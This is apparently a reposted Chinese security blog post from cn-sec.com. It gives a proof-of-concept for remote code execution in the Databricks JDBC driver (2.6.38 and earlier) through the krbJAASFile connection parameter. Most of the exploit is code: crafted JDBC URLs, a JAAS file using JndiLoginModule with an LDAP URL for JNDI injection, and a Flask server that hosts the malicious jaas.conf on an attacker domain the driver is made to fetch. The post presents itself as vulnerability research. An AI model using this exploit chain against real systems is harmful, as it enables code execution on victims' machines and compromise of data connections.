通过 JAAS 进行 Databricks JDBC 攻击

admin 2024年12月17日19:58:04评论9 views字数 1650阅读5分30秒阅读模式

通过 JAAS 进行 Databricks JDBC 攻击

背景故事

昨天,收到了有关 Databricks JDBC 驱动程序的威胁情报警报。经过快速检查,我找到了问题的根本原因。

该漏洞源于对 krbJAASFile 参数的不当处理。攻击者可以利用此漏洞在驱动程序上下文中实现远程代码执行 (RCE),方法是诱骗受害者使用包含 krbJAASFile 属性的特制连接 URL。需要注意的是,受影响的产品版本为 2.6.38 及更早版本。

构建 PoC

创建概念验证 (PoC) 对于有效重现漏洞至关重要。它通常可以在测试过程中节省大量时间。在研究 JDBC 程序集几年后,我明白开发一个清晰可靠的 PoC 是多么重要。

以下是存在漏洞的连接 URL:

jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=/tmp/jaas.conf";

JAAS配置文件如下:

Client {
com.sun.security.auth.module.JndiLoginModule required
    user.provider.url="ldap://127.0.0.1:1389/wr4euw"
    group.provider.url="test"
    useFirstPass=true
    serviceName="test"
    debug=true;
};

通过 JAAS 进行 Databricks JDBC 攻击

显然,这不是我们想要的结果。由于我们无法入侵服务器并修改其配置或 JAAS 文件,因此我开发了一个 Web 服务器来提供配置文件的内容 — 本质上是一个恶意的 JNDI 远程代码库。

我使用 Flask 安排了 Web 服务器代码,如下所示:

from flask import Flask, request

app = Flask(__name__)

@app.route('/jaas.conf', methods=['POST','GET'])
def SSOJSON():
    if request.method == 'GET':
        # Path to your jaas.conf file
        jaas_conf_path = '/root/ssl/jaas.conf'
        try:
            # Read the contents of the jaas.conf file
            with open(jaas_conf_path, 'r') as file:
                jaas_content = file.read()

            return jaas_content
        except Exception as e:
            # Handle exceptions (file not found, etc.)
            return false;

if __name__ == '__main__':
     app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc.pyn3rd.com.pem', '/root/ssl/jdbc.pyn3rd.com.key'))

我的方法是可行的:远程 Web 服务器接收请求,无缝加载恶意配置文件。然后通过 JNDI 注入触发远程代码执行。

以下是用于利用此漏洞的精心设计的连接 URL:

通过 JAAS 进行 Databricks JDBC 攻击

jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=https://jdbc.pyn3rd.com:443/jaas.conf

原文始发于微信公众号(Ots安全):通过 JAAS 进行 Databricks JDBC 攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日19:58:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过 JAAS 进行 Databricks JDBC 攻击https://cn-sec.com/archives/3518954.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息